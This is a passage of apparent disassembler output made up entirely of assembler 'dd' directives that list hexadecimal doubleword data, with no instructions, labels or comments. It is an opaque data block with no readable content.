		dd 3DF73831h, 2D31C4Ch,	0F6A606C3h, 18905149h, 2F286C50h
		dd 0E2FE0804h, 0C45A6E00h, 12B3B43Dh, 0D5F71FEFh, 0EDA9DCDh
		dd 5582B0F6h, 249850D6h, 0BD00776Dh, 53B431E9h,	50CA74E6h
		dd 707F38F5h, 3D8D00D0h, 340ACE19h, 0DCF5C9BBh,	5205B0F9h
		dd 4EE327E6h, 0BAC1400h, 80376660h, 0D2801570h,	0F8DA21A3h
		dd 54382A87h, 0B1000334h, 2395397Eh, 630880F7h,	36C8670Fh
		dd 43105CE4h, 0F37AEA00h, 0C2F9DAECh, 53A5D000h, 0F846A473h
		dd 2C630194h, 0D7C48418h, 5864D117h, 14001520h,	0FB69F69Ah
		dd 3F57F0C2h, 4C9D7354h, 3B640837h, 33740406h, 200E5348h
		dd 0A7CE5400h, 0C30821BBh, 13024FF4h, 1B85A395h, 0AD14A0BDh
		dd 33C9EF6h, 30C2C8ECh,	0D03A12D3h, 801852DCh, 61B7623Ah
		dd 5098C06Ch, 4732AD0h,	62523120h, 8C43688Eh, 14699138h
		dd 88C1CA4Ah, 2B207008h, 183F600Ah, 85052h, 0E08AF65Dh
		dd 723A9106h, 264C5400h, 1D7AF835h, 7323A0Bh, 0BE77E680h
		dd 4D66E0C4h, 820410A6h, 0BC3F5FBAh, 0CF164600h, 0CEEE531Bh
		dd 28AC93E8h, 6A340F04h, 0A60EC80Dh, 56732898h,	886AA7Fh
		dd 0FD5276F3h, 0CC1A26ACh, 0DA283058h, 3FB110BDh, 5FE602C7h
		dd 14747213h, 894BC504h, 0C600CE5Dh, 947240FAh,	193FD93Ah
		dd 7D61A134h, 0ED3CC181h, 8A485471h, 281F3408h,	9C2FF61h
		dd 0EE268C48h, 131B18D1h, 5F745836h, 0D325E100h, 0F320D51Dh
		dd 21440A31h, 60604FB3h
		dd 66E89D37h, 42C4F554h, 9E74CD52h, 8E39CE05h, 279CC420h
		dd 64B41472h, 0E0A050F2h, 0C9F4383Ah, 81D84681h, 6BD30223h
		dd 2028B268h, 1AC91898h, 0CCF30F29h, 23820201h,	184B88B3h
		dd 0CC350102h, 8601BB70h, 0D300813Fh, 32E62629h, 0EA730E8Eh
		dd 0C58A170Ch, 0E82F14D4h, 7B380F4h, 0D4A9CA59h, 9320F89Ah
		dd 213C4901h, 26675613h, 6F06A44Bh, 0F1AC79B5h,	6573F4FCh
		dd 64AA131Bh, 11BEE530h, 15816477h, 96F29450h, 5C1E06F9h
		dd 8C6D3CCh, 37E03F3h, 920B5334h, 89F8B3E0h, 89918C3h
		dd 5FE7E121h, 47C0F08Eh, 3055149Fh, 0F43836C1h,	0B56610E2h
		dd 0B3340F02h, 0EDDF9E5h, 938EFEA7h, 6485E6Ch, 430109DFh
		dd 20CF1472h, 0E0D65883h, 12ABD47Eh, 0D8E7814h,	0F5E60188h
		dd 37237320h, 8EFF0BFh,	0E911380Dh, 0DCE0FB51h,	0F31B2147h
		dd 0AB1833D5h, 0A993F062h, 0D630C242h, 9C4571F6h, 0AB4C1B82h
		dd 282444A3h, 7090E4EBh, 633474A9h, 1815C1BEh, 0E2F15000h
		dd 99F947Eh, 0C213F821h, 15E1D380h, 0DD08DC9Ch,	8544D934h
		dd 0C01E8A6h, 0F368ECB8h, 1F8F3624h, 9CEA980Ah,	1DFF4008h
		dd 0D33543D9h, 603186CBh, 685368E4h, 3213D089h,	5E73E403h
		dd 0C0FC0842h, 0B3B86E6Bh, 28489033h, 0F0F4FF86h, 0D9FCA3CEh
		dd 0FAFBD3A1h, 2B88F63h, 65235010h, 0F5AB8368h,	91D43FBEh
		dd 94E5AE6Ch, 3A90AC40h, 1308E3F3h, 3D13742h, 80CB668h
		dd 2DF7318h, 0FC5C928h,	0CA7F9332h, 0F82953E6h,	8C613E8h
		dd 5F9087D3h, 0F3EE80B3h, 20C68E45h, 617091EFh,	0A79308CAh
		dd 45308CB6h, 663A1088h, 8172889h, 28A41337h, 378C0D83h
		dd 84081838h, 0E1730211h, 8DD4028Bh, 0B302B704h, 9A0488B0h
		dd 8B7B1302h, 68AB502h,	8140215Dh, 0DC4B54D3h, 4709CC5Fh
		dd 7803C730h, 0FEA96093h, 63081E8Eh, 0BC8907DDh, 8729C7A8h
		dd 0D969C3B0h, 0DC49101Bh, 0EB67A030h, 2DE93162h, 1016A908h
		dd 206327F6h, 91F8B49h,	103AF207h, 0C301ED96h, 2E295025h
		dd 3980226h, 1801F189h,	62EA5849h, 8BC80C9h, 0A9387631h
		dd 2008BE37h, 4AE91886h, 2820A094h, 7D89630Ch, 3E5218E8h
		dd 71D4FECh, 85C90CEFh,	6F630908h, 1716950h, 0FE83E908h
		dd 1434494Ch, 0A94DB180h, 0B83F63D7h, 29A04346h, 86A062E6h
		dd 0B90F86C0h, 3593A48h, 0E05B1388h, 0C1B5A28h,	5D97A7D8h
		dd 5C67DA28h, 0BEB02118h, 0EA1C7F48h, 288E6027h, 0BF1A24E7h
		dd 814A831h, 0E8009088h, 8F83EAFh, 719D73Eh, 0BEEE9968h
		dd 48029144h, 9A03EFB9h, 79E8B152h, 0F84A7411h,	0F60C5E88h
		dd 1028A8BEh, 34FC60C8h, 62763768h, 0E000AE78h,	3B34DE3Dh
		dd 5986E05h, 0CCAB7E99h, 0A0F00FB9h, 4D0009D2h,	9FA0826h
		dd 61CFF516h, 6BA4709h,	0F808370Ch, 31CD7C36h, 0E9283B49h
		dd 29088651h, 28108964h, 28DC74E1h, 6FBC751Eh, 0B90608C1h
		dd 9DB0708Fh, 46308C8h,	81B14CC9h, 0BEA92B2Ch, 2910E240h
		dd 93C40C3h, 81946A22h,	70BB9834h, 10DD7C69h, 1ECDC14h
		dd 6323D609h, 3C21FBC9h, 20BC82D1h, 0E910C47Eh,	4638872Ch
		dd 0E3F8088Eh, 0DDD38980h, 25610140h, 20686963h, 82320924h
		dd 40F69095h, 40014930h, 30C164F0h, 4CFDBDA9h, 888CFE1h
		dd 66BDEF89h, 18508A19h, 9824DEA9h, 0DCA1840Ch,	8089228h
		dd 66E72043h, 1FA8E187h, 80801C24h, 0D60619A7h,	4D6167D7h
		dd 5F440420h, 845DE8BCh, 0AEC3158h, 0CE41604Eh,	4B7E9805h
		dd 901DBEB6h, 0CF09B8B1h, 8E1C78A3h, 0F54949FBh, 0C1EB0821h
		dd 91B446BCh, 4ABD0818h, 0C94ED978h, 28383A08h,	0D4010FF1h
		dd 7E9E3B9Ah, 4095D58Bh, 118134E9h, 865B6C23h, 77DC2B29h
		dd 90BBE698h, 0BF6A3200h, 44404808h, 0D9640629h, 30922D48h
		dd 4F6902F7h, 0E094840h, 806A4980h, 8E6633E9h, 20897B8h
		dd 61D2AE29h, 44435D69h, 812C9C3h, 44461BE9h, 49389149h
		dd 9267476h, 86A9B80h, 88B118B9h, 13A8C750h, 5C844E66h
		dd 94871A90h, 0C8844881h, 92E181EAh, 4404C109h,	84D29E49h
		dd 4461240Ah, 0F9082676h, 0DC220B91h, 9A2CD344h, 6A424480h
		dd 53507C9Ah, 0E34D89ECh, 0EECD1D70h, 480E490Dh, 0E359AC06h
		dd 9231A434h, 0E9DA2870h, 0F1C26488h, 0B8951E52h, 198D329Ch
		dd 89F9239Dh, 88B41010h, 93905B24h, 8EA44894h, 7624FF91h
		dd 0D5E28178h, 34C487D7h, 0C8800C88h, 6447804Ah, 9A6DC780h
		dd 0D7DA0690h, 8B9E8BEh, 1ECA281Fh, 3298709h, 190B6789h
		dd 1126A708h, 0E78C2010h, 0CC855C26h, 8802A413h, 600DA9A8h
		dd 0C3099CACh, 0BEF40F08h, 204CCFC1h, 4948DC68h, 88BB2484h
		dd 23A22804h, 420CE8C1h, 66F4088Fh, 0F9020800h,	143E28BBh
		dd 7648013Bh, 0F887C9FCh, 0D1EBE700h, 0CE8D10C6h, 12A43108h
		dd 0F0CFCAB0h, 80937027h, 1B94B881h, 0CB0146B2h, 0DA104C4Ah
		dd 0A00BA808h, 0AB6B0948h, 0ADA9A403h, 2629083Dh, 0CA80E84Dh
		dd 4408766Eh, 0EBC600FCh, 990D22A0h, 12003D05h,	0D16F681Eh
		dd 1956A89h, 79F1983Fh,	0D37F2C91h, 0C9E3CB0h, 0B8207550h
		dd 0C9E56800h, 723D0245h, 6ECC0C5Bh, 11388A31h,	7BDDC100h
		dd 7A1CB091h, 0A68705D1h, 3046DF89h, 0F2800644h, 336D9C20h
		dd 28496C52h, 2F16F88h,	1C402168h, 0FAAD92C0h, 80476050h
		dd 6ECBBFB2h, 14459129h, 0C730F780h, 158EFDCh, 3251923Ah
		dd 178B16Fh, 6885E831h,	0E343091h, 0BE6780h, 0FDCB551h
		dd 7A0F1A70h, 4313500Dh, 7C15F024h, 11586408h, 0F28481Ch
		dd 0DAFF3B0h, 22DF2083h, 7E938FA0h, 51C97101h, 53D79180h
		dd 40AF11D0h, 70401E6Ah, 7EB63E02h, 6B58A1Dh, 38B277D1h
		dd 79077DFAh, 7A1BDF31h, 70304345h, 3892DBh, 3A5920C4h
		dd 247C0FF2h, 0DEA5D003h, 0E94DB022h, 0C12A117Ah, 60A851C1h
		dd 3C3A9F4Dh, 0E9BF1587h, 4CE1C0ECh, 0C02212F7h, 561AD250h
		dd 0FF503024h, 40AC51ECh, 0D03A1603h, 0A835CBF8h, 0D1790D32h
		dd 0B3811430h, 503BC25Fh, 57B912C4h, 8C47ACA1h,	609951F0h
		dd 744E0A71h, 0C0205F97h, 4AEEEA8Dh, 0C1227288h, 85623138h
		dd 0C02C2295h, 3F21A215h, 6802401Ch, 900FDD02h,	9679F2BEh
		dd 241D7DA4h, 8668EBAFh, 0C84E7FB2h, 50E8FE50h,	9B6C31C0h
		dd 35A811Dh, 8437B25Dh,	3EF81608h, 8D00BDDCh, 96C258CDh
		dd 789E6CEDh, 0A6D83A2Bh, 0A2386D0Fh, 79548D00h, 82006E0Fh
		dd 342E41D9h, 0A06A8C1Ch, 22E3222Ch, 9E00AA46h,	0ED8C1A2Ch
		dd 18D8926h, 8BF3844Dh,	0D3F6450Dh, 0F4E21E0h, 51062E18h
		dd 0F150C108h, 8054D5E8h, 0CEF87C26h, 0DEABF406h, 3F28954Dh
		dd 0F040240Eh, 1D41913Ch, 0CE079215h, 8E819522h, 0EEF094B4h
		dd 0A88D60AEh, 0CDDEC690h, 0FA8B23Ah, 6C774EDh,	1F18582Dh
		dd 0DB0920Dh, 0E1689FADh, 8D088C4Bh, 60ED18E9h,	8F5321E6h
		dd 0D81CAE41h, 0E758E136h, 89E60108h, 7441022h,	0FDEBF8E4h
		dd 7CA0A1D0h, 46C11D3Eh, 74610735h, 5E818423h, 803CB00Fh
		dd 0B2394B41h, 34463322h, 87DFB18h, 183B2F3Ch, 811037A1h
		dd 5B60DF48h, 0FAC3705Ch, 0AE212018h, 66286110h, 83F302Ah
		dd 2F4009FAh, 140C615h,	41191831h, 7D282DC6h, 404C06D2h
		dd 129F2118h, 0E8100A88h, 20CC63A2h, 41313841h,	0A5C10825h
		dd 2A0358BCh, 0E622C74Eh, 0C82080Fh, 56204B3h, 1983C203h
		dd 88BB031h, 28879A81h,	0C371D3E2h, 80D4121h, 2816BD01h
		dd 30C73260h, 0C208CAA2h
		dd 0A8CD67CDh, 0DBCC7061h, 708C80Bh, 0D044C10Dh, 118076FDh
		dd 0C56BF2D7h, 1F00C48Eh, 16D9F4D6h, 4BD1A87h, 0D578B222h
		dd 0C331C366h, 81145CA5h, 9F4D19E3h, 6552FC46h,	4266DC0Ah
		dd 8B6028EAh, 61518D67h, 0FD7228AAh, 95020EDEh,	0A1D3B6A5h
		dd 1FE1202h, 4ADDD9C2h,	0E0A00718h, 0F48EFD5h, 65E04E32h
		dd 66C168E2h, 305A218h,	7D41CE0h, 302E42B3h, 0D08247B2h
		dd 0CAAD028Dh, 0E9E18DFh, 0CD9CE207h, 11E3C281h, 66038C4Eh
		dd 9E744739h, 3DD2700Ah, 5A0AE87Eh, 7F0CB804h, 51621075h
		dd 0BC10D470h, 0A0191341h, 0CA1C18B8h, 0E0A4A720h, 0F5E7CED8h
		dd 0D5F259C4h, 0B04104h, 0B23CA301h, 0FCF05162h, 887CCF3h
		dd 0E3BEBCF0h, 2F1F039Fh, 282CD06Eh, 2E3830A0h,	6A1410C0h
		dd 0AFD5C6h, 35939EFCh,	0EB6D053Dh, 7A76306h, 53409612h
		dd 0B5021408h, 0DF5E1F2Bh, 9B606700h, 0C4BF03E3h, 18506FCAh
		dd 7B7F100Fh, 0A0FF8046h, 3ADFE8EFh, 9F0CE714h,	98204B7Ah
		dd 506E220Ah, 0EE603009h, 88F88B48h, 0F106D4C7h, 314F5FE3h
		dd 0BAB033B8h, 97C5570h, 8E469F81h, 361C1570h, 750428CBh
		dd 43EEA39Dh, 75F00727h, 1EB1C530h, 0C01C2885h,	8B7E011h
		dd 18158710h, 7F08101Fh, 38A166D5h, 0DF527831h,	98FD80A8h
		dd 81EA02A4h, 727458E7h, 28201411h, 35E4700h, 74368796h
		dd 32080A00h, 0D942EDA6h, 4C50930h, 2A01D683h, 0E9CEAF16h
		dd 730888Eh, 31E80850h,	1E6412E0h, 0EF908880h, 0FF600660h
		dd 3A880A57h, 28148AA4h, 0BC11C3Eh, 1086E565h, 0E0285F0h
		dd 318D480Fh, 0FA618881h, 591850F2h, 8144B517h,	40874150h
		dd 0C80A6D1Bh, 4303353h, 7D2CF0A0h, 0FF1B0152h,	8F37080Eh
		dd 0E3FAE898h, 14EC680Fh, 3846A808h, 17638AC0h,	10800964h
		dd 6440D1C9h, 0CB515BC1h, 0F7701140h, 0BE086084h, 0E49A0126h
		dd 2E0AA795h, 0EC0C0FD1h, 7AD03814h, 14B4A29Fh,	97E304C8h
		dd 4503C70Dh, 14280A92h, 8CEA110Eh, 13901926h, 0A44A8750h
		dd 0F471087Fh, 0F0050CF8h, 800A0538h, 0F3AA854h, 0D0EE7D3h
		dd 0AC0B08CBh, 2D9FA93Bh, 5020A096h, 64E81E82h,	5810A4EAh
		dd 8A31FA33h, 0A8B09968h, 603C70A9h, 0EC161F26h, 24100740h
		dd 0A2088BEh, 51182B66h, 89E0FCADh, 547059CAh, 6A17F7C0h
		dd 0A8D08820h, 0C02850C4h, 8C731887h, 3568C16Eh, 433110BAh
		dd 11EA2808h, 80817541h, 0C80F1BFEh, 0E0747170h, 0F0A01CEBh
		dd 3C91380Eh, 620E7C0h,	0A607E1BEh, 5F40698Bh, 71A66348h
		dd 881849ACh, 9A0872CDh, 2750C676h, 0D56F8053h,	3EF18870h
		dd 95E05C02h, 723831E7h, 155529DBh, 694C1BFCh, 0B39C10F4h
		dd 1DB4B196h, 9A68F011h, 96083AF1h, 77430C84h, 50315F88h
		dd 14C13768h, 0FF18BAC0h, 0B00C40E9h, 508A7A30h, 3736B79h
		dd 5892869Ch, 8E993E5Bh, 801CE019h, 0D964DB00h,	149F65B4h
		dd 553C0A73h, 811457C6h, 0CE0C1664h, 3A850167h,	42894EAh
		dd 218A88C8h, 90250668h, 0A1FC2328h, 861C5F83h,	4503F438h
		dd 0DCB120FCh, 303C4C54h, 0E247EC08h, 0ECE51472h, 597C730Ah
		dd 3F836014h, 79C60C3Dh, 4228EA05h, 3C1B855Ch, 0A579E618h
		dd 782152C1h, 0F267C987h, 0C5019B08h, 644A20EFh, 0F3216804h
		dd 17654727h, 2F503C8Ah, 22B91047h, 0C9850B65h,	0E430988h
		dd 2A7C830Dh, 0F0FCC0A5h, 0DC740EBCh, 3D9FBDB1h, 601C08E5h
		dd 0B84C4450h, 255185E1h, 0A0381F84h, 1A4B1168h, 0AE4505C7h
		dd 787174BEh, 0C2C89412h, 62E58075h, 80F01A53h,	7B1D8F74h
		dd 60058067h, 5073152Bh, 366EC981h, 0A5008301h,	0B4A717B0h
		dd 2ACBAD01h, 81109AAEh, 0BC327363h, 48DC8097h,	29291C20h
		dd 67FC7478h, 71248393h, 7D65410Ch, 143EE04Bh, 8868E43Bh
		dd 0D88395A0h, 8580077Dh, 70526111h, 5CFF5370h,	0CD15A130h
		dd 1F8C96C9h, 0B4A9B025h, 0E19B61C0h, 0E16D4578h, 2A04E52h
		dd 0B070133h, 2EE5016Eh, 68C4E75h, 0ADC805CBh, 6AA2EC51h
		dd 5040A881h, 0AE00A635h, 578CBB3Fh, 9D661h, 5A690731h
		dd 0CD20A16h, 41155401h, 0D1B8EB33h, 20671199h,	0DE0440A7h
		dd 10CF3302h, 66F667FAh, 0B48F9E01h, 7FFCE1EDh,	0E4750032h
		dd 0A68AD746h, 0F5F8FDEBh, 0D6413F60h, 35B9215h, 390A874Bh
		dd 69931361h, 0BE64611Ch, 66A23D43h, 0A0300065h, 6815EF24h
		dd 6D07585Ah, 36E5B523h, 5B100088h, 0FC292145h,	28EC3A00h
		dd 2725B30Fh, 0B7B6067Fh, 0C150DD41h, 1D0E58E0h, 80D251D6h
		dd 0FBEE4397h, 366301F9h, 507B06B8h, 4748E823h,	0E567A807h
		dd 3A979C85h, 8D88F0C7h, 0E85113DFh, 36005FB6h,	7CEB09D4h
		dd 1FB05394h, 80831049h, 97A487E6h, 9E002F2Eh, 4751E73Bh
		dd 0D33F43h, 0EBC56B35h, 0E53179FEh, 0A174D1E2h, 320C9A01h
		dd 0A0F9E06Ch, 0EB697180h, 0E15E9FDBh, 30E4538h, 0FD24BDDEh
		dd 0F7C5C0B1h, 0A6380041h, 305EF387h, 8E004D32h, 52FAE581h
		dd 2ABEC4D8h, 1F9827CBh, 9862E6A7h, 0B826D0ABh,	6CBD0329h
		dd 809B858Bh, 27394161h, 45D80FD5h, 8D60AFD2h, 6025C2A9h
		dd 9451A16Ch, 0E82800AAh, 61E66A67h, 1300AFA6h,	32962184h
		dd 48259FEh, 5D2EF663h,	402490AEh, 430089F8h, 0FF412B0Fh
		dd 18ED1D5h, 0C457323Ah, 706F7C84h, 0E8FC9A67h,	4108368h
		dd 5DBC8655h, 407410A7h, 22AD8B03h, 7810C593h, 36F820h
		dd 9E586288h, 37785BA6h, 29823B32h, 8F21131h, 0A500849Ah
		dd 3A2FEBF1h, 0F125276h, 0BB4E882Bh, 93F00032h,	42BC7809h
		dd 29C4FEFCh, 6F0051CAh, 6CE4D19h, 88B7CB00h, 0F982D642h
		dd 0CF41002Dh, 7A6A27B6h, 227C645Eh, 53009977h,	6E3F033Ah
		dd 1D977E56h, 8079C867h, 0C1F1BCE1h, 0EB00ACB6h, 0A38B0ADFh
		dd 4FA2B5h, 0A7875FA6h,	67FAC789h, 9803E204h, 0E9818811h
		dd 8C2004F1h, 3E623C0Ah, 5B751A00h, 4D58A584h, 9F493903h
		dd 0E0034C27h, 0FC5821Dh, 4577FFDBh, 3E07C600h,	202CB3ADh
		dd 9005421h, 5E39EA25h,	5DC200ECh, 8C46D623h, 970F430Dh
		dd 166BE8Bh, 0B0CA443Ch, 0E059F8h, 2DB4948Dh, 41622973h
		dd 0AF303Ch, 0F4862B15h, 1DCF22B3h, 8F1AF639h, 0EF008A0Dh
		dd 23D50F42h, 0EE8F4400h, 4D01E526h, 0B0F7003Fh, 56162A22h
		dd 0F600CD03h, 0DCB3C309h, 2E992BC5h, 18B1F8Eh,	0C291587h
		dd 987BFC16h, 9F46850Eh, 416A00AEh, 4B3FE4h, 0BB30139Dh
		dd 38A4BE75h, 88E938h, 48DE503Eh, 689DBCh, 0DFF311E4h
		dd 0EF1521D2h, 7C47903h, 0C0E0478Fh, 0E5C3860h,	0E123182Ch
		dd 0B861CD80h, 0A93E5E08h, 8D4A0091h, 0A5BD5C52h, 0DC1B00B6h
		dd 17607ABFh, 6900987Fh, 59ADAA18h, 0F95FB3h, 0C079631Ch
		dd 0D451A6AFh, 54772200h, 0BEB37B9Dh, 0E5210091h, 702E2CB2h
		dd 4100B697h, 4B827CCBh, 552B23h, 4384C8Ah, 73458340h
		dd 0DB10880Fh, 0F6EE6067h, 0B732A4h, 23BA2F9Dh,	0C7087E40h
		dd 603FFC00h, 0C446192Ah, 0B93A0E59h, 7E600D81h, 3E6B833Dh
		dd 0AD019000h, 2582C69Ah, 23161CCCh, 53FE00C5h,	406B3CE1h
		dd 19910200h, 56A9EB3Dh, 0A6DE0035h, 0B9368EE4h, 0C5E616CEh
		dd 0CB3D4C00h, 10C26A6Ch, 212E0E79h, 0AAC0F9D5h, 2B9B77F5h
		dd 7F111360h, 501A0EFDh, 29AD080h, 58241F6Bh, 0CC80CC6Fh
		dd 185A3398h, 0D969160Eh, 625002Fh, 6ADB05h, 5B38702Dh
		dd 756FCB27h, 0E001C8FEh, 3F115D2Ch, 86D8DB85h,	408D0087h
		dd 63F07F1Eh, 1301CFACh
		dd 4A14C175h, 0D444E5CDh, 955FF700h, 0BB0F77h, 0E14C0C20h
		dd 5497F572h, 2F90A800h, 0FC95C58Fh, 0E3520F17h, 6C4E4F71h
		dd 2CA55B80h, 3200D04Ch, 57C28607h, 9411F2h, 0DDD668A0h
		dd 35D85D88h, 37159C00h, 0FEAE4E5Ah, 4478008Eh,	0ED26987Eh
		dd 84001DF7h, 1FECE483h, 2B2282h, 0D02C80B0h, 0A8B4013Ch
		dd 3B005B74h, 575D116Eh, 4C2E6190h, 0AD50405Ah,	67AD00C0h
		dd 7EF9B020h, 5D001D35h, 5E9CBA33h, 0F407EECBh,	4601079Fh
		dd 804BDB34h, 6B6A868Ch, 0FBF5F000h, 0E087AD81h, 99B63871h
		dd 383EFF00h, 0F7CFED2h, 0CAC12007h, 46B32B14h,	8310003Bh
		dd 0ECD2F78Ah, 5701A5BEh, 6C38301Ah, 0B6D09F9Dh, 5C4F00DEh
		dd 357B288Eh, 0E2F4F843h, 0EEB7F100h, 5294C0CEh, 687726h
		dd 89F4F31Bh, 13803DE7h, 25A94707h, 0BE00BD7Bh,	7D0FC32h
		dd 0B75E5059h, 56D30B4h, 113B808Eh, 37F9033Bh, 0D820D0F2h
		dd 0B215FFh, 3F0B7AB6h,	1F596794h, 30ED8A1Bh, 0BEE298F0h
		dd 0F8160072h, 2C3EFA28h, 0F7012358h, 0A9571B76h, 0F5D96236h
		dd 0E413E0h, 0BC4CCCFFh, 50619E45h, 1F54940Eh, 0EC7AE123h
		dd 4E0B441h, 0E03C01C6h, 89483B4Eh, 0D91C60BFh,	16C11500h
		dd 67B16B2Eh, 9DEC0732h, 408EBB0Ah, 0A3CDC404h,	0E813E500h
		dd 5C94EBB0h, 907500ADh, 9FDD2987h, 0F81CBC12h,	22C627AFh
		dd 4CB485h, 0D30E43ECh,	0E5C3F390h, 0EE6DE70Eh,	0AA61A098h
		dd 0E8A93D0h, 547AECF6h, 0DE22CC80h, 3407B0F9h,	1F474F68h
		dd 0C0C84BD0h, 3C45F4D9h, 530090AFh, 555C6014h,	7207A7F7h
		dd 83FED82Bh, 0E0E75BD0h, 223B0134h, 0B18BB96Eh, 51669E47h
		dd 0F7B07058h, 0D52B0091h, 0E85E7A8h, 0CE007230h, 0D874CF2Eh
		dd 0FCB68E75h, 526D0041h, 0A26F43C5h, 30F59815h, 0F790C1F0h
		dd 7DB0E9F2h, 6126B50Eh, 6CB28120h, 0C7C47CD1h,	0C0D6DCA7h
		dd 7127D6E2h, 6A00352Bh, 5B29D9D4h, 0FA879FF3h,	0B6250044h
		dd 26DFB340h, 0C500FAFBh, 815C4170h, 3028BDh, 0F698C6FDh
		dd 0BA1946A9h, 3611C500h, 0C2A09710h, 10257A47h, 570FABh
		dd 155E1238h, 72783Dh, 2E4F1DF9h, 0B6ED90C8h, 21007F78h
		dd 56104376h, 8C31E0h, 753B621Eh, 0A5AB1A86h, 0A0211603h
		dd 0E806AD7Eh, 189C3159h, 181005CCh, 4F0FEB12h,	201418D2h
		dd 9429D498h, 0A683CEAh, 1969BC03h, 31D7899Bh, 80F795CDh
		dd 52F30940h, 6AA60Bh, 3B29B968h, 0BB164F73h, 518D5500h
		dd 46D2FC7Bh, 48B0053Fh, 3AD2781h, 3902C7A0h, 97D59E98h
		dd 7F740601h, 401378BFh, 0E0F98530h, 30E73C96h,	1DD8007Ch
		dd 0F1A251E6h, 8F009FACh, 78A99856h, 0AA6CF16h,	766377Ch
		dd 0D3B70EA0h, 0C2F7AEC0h, 0EC281CA7h, 8B008CD1h, 0FE08070Fh
		dd 2F2822h, 0E47AB1BCh,	18A64C8Fh, 69036800h, 0FDFC8C80h
		dd 0D1F834h, 0F7FA7929h, 0B28B5C45h, 0FEBD0900h, 0D534D486h
		dd 0B592000Bh, 0AB0D0653h, 203CC025h, 6676FB2Fh, 0C1EFE400h
		dd 53F43CE9h, 683E3E18h, 10DF5180h, 4075B003h, 4256131Fh
		dd 0ACA04980h, 3F09F706h, 4A00AA8Fh, 6912D18Ch,	0E90051F4h
		dd 0B511B4DFh, 1548C1h,	9BA146DAh, 0A57E8AE8h, 47BD7C00h
		dd 0A90EA01Eh, 4B5E0115h, 1A903A0Bh, 0DDE3E803h, 0FC3E8A06h
		dd 2C284D38h, 1E44F8Eh,	0B72AE89Fh, 54ACD09Ah, 0FAA3801h
		dd 7B9168A7h, 0DBE19E4h, 8496591Ah, 5017E811h, 7ACBD810h
		dd 14E6A100h, 3CDB7FF4h, 34D26403h, 0A0402657h,	0FDF35C9h
		dd 84558E1Dh, 3674DC80h, 0B5C10B3h, 0F0F03012h,	7C0673h
		dd 0E13298C9h, 31AA72B8h, 866BF238h, 0A661F552h, 0AB930198h
		dd 0A837DAACh, 6A5C2468h, 0FD0E5507h, 4E306D02h, 0DF3A52h
		dd 0A348510Bh, 53E5A5A4h, 0BC80AF98h, 0FE740DCBh, 0A0670101h
		dd 0D3CC7781h, 37834D4h, 1CC1D711h, 0D9A0FC68h,	0F0004ABBh
		dd 0D8101995h, 0F538797h, 7B05E6C0h, 4D1F6AA0h,	0F60F5786h
		dd 0C1DDEE23h, 80D8C895h, 0FCE97120h, 4431488Bh, 709068CFh
		dd 0B360E800h, 38CCFDEFh, 0AC890059h, 620229A3h, 0E0071D5h
		dd 0A4335E8Ah, 3DC0273Ah, 9380D6D0h, 0A3B09FD3h, 0CF009CCDh
		dd 4966B921h, 1C959BD8h, 9CDEEFF6h, 0D599CE96h,	12F5DFE0h
		dd 82248765h, 0E5006AC2h, 944D3AACh, 9E4130F2h,	0E0BFA060h
		dd 0DB8B1C00h, 0B0AA3D98h, 57D50087h, 0F438436h, 6700ED21h
		dd 0DFCE7AC2h, 0F46F814Fh, 0F8F902B7h, 15331218h, 9DB9E175h
		dd 0EAB6FCFCh, 245B009Fh, 0A0EDA18Dh, 4A03E785h, 0F6C69517h
		dd 1ED4C8FCh, 0B325009Fh, 37260881h, 110012A7h,	0E293B1CAh
		dd 0DCD072h, 6906C90Dh,	126E3D2Ah, 4E82A402h, 802EEAB1h
		dd 8CFE1DF0h, 8321C01Bh, 9294066Ch, 0E55BA005h,	0DB800460h
		dd 6A74E6h, 7A33904Dh, 22D12551h, 163FD301h, 8B8F563h
		dd 1CC1E424h, 93F030D5h, 77130054h, 7D5DD8EBh, 4736C200h
		dd 8E957A08h, 0C1796Eh,	423891A6h, 27F28725h, 0B800C7B0h
		dd 8CEF1AF5h, 18C3C1F9h, 3841BE7Ah, 1300E135h, 9DCA0910h
		dd 0BDE52F5h, 0DB45386Fh, 782FBE00h, 8D3C3066h,	857BBA0Dh
		dd 0FBE1D889h, 317A2DC0h, 4E56005Bh, 0EA2EEC4Ch, 7F004707h
		dd 190F79FFh, 0F0EF4372h, 1091000Ah, 1CF8556Bh,	0EA728684h
		dd 219ED600h, 6E42E9FCh, 2D0F00DBh, 66D57AF0h, 9800CD70h
		dd 0ABE30227h, 1D1D6016h, 4146B029h, 0AF36384Eh, 9C40F6B5h
		dd 0C30F04B9h, 24108AC4h, 6C83A770h, 0E45900E7h, 0C60A41A2h
		dd 2F00215Dh, 203999Eh,	1C4D4Ch, 80340566h, 35D5483Ah
		dd 266B8505h, 0DAC0EA49h, 1D5186ABh, 0A67FE0h, 1CE55950h
		dd 6000184Dh, 4C28092h,	270D1Dh, 0CA0B2F61h, 696F123Eh
		dd 0EBE5C700h, 325D7A50h, 0A3CC003Ch, 0F1BF2104h, 0AC0023B9h
		dd 6E433F7Bh, 0E2A0C63h, 0EF2CC088h, 1A99C01Dh,	9FE55EC7h
		dd 64F10700h, 8F04CDE6h, 0B2413B7Eh, 0D95F1081h, 601A3BCBh
		dd 720F5E8Ch, 0E03CE311h, 0A7A3925h, 0AD8300B5h, 0D57806E9h
		dd 0EC3E0121h, 9B520CA7h, 1910E5h, 78473926h, 101A3C50h
		dd 0C8C46438h, 0FAFC0038h, 0B00DF2E7h, 0E945039Ch, 0DADED9A8h
		dd 62F5C8B0h, 31F1A7Ch,	0FA4786EEh, 0B460FB7Dh,	23AB2DFh
		dd 67D499ABh, 8C805AF5h, 0A01231DCh, 18819A09h,	3910007Eh
		dd 26413h, 97A873EEh, 0F8F36D0Fh, 0AFD59000h, 0B20DFB6Eh
		dd 0F5C201E4h, 7B285857h, 9460703Dh, 0F473F30Eh, 5EC4806Fh
		dd 0EB9EFFh, 19E8652Dh,	0A15181FDh, 0AC9D6118h,	0AE8A10h
		dd 0CA0CDC3Ah, 4FDA40A7h, 21281100h, 37F38CDFh,	2C10036h
		dd 4ACD73BAh, 835415C3h, 0AB005388h, 0E9C0E228h, 186889FBh
		dd 0F8FAE644h, 632835B3h, 0CC7CB8D7h, 0F82E5F00h, 54516B3Bh
		dd 68FC01ABh, 660B2271h, 0A9A7C495h, 0B47811C0h, 70C807A3h
		dd 2E0800FCh, 146F3EAEh, 5473EE69h, 75997D07h, 51C071E7h
		dd 2C0AFE9Dh, 98D7E5h, 0B1DF8B6Bh, 0EB0E6339h, 43838873h
		dd 0B04B0B2Ch, 43544h, 0B842F60Dh, 0B26C81E7h, 0F8DB21C0h
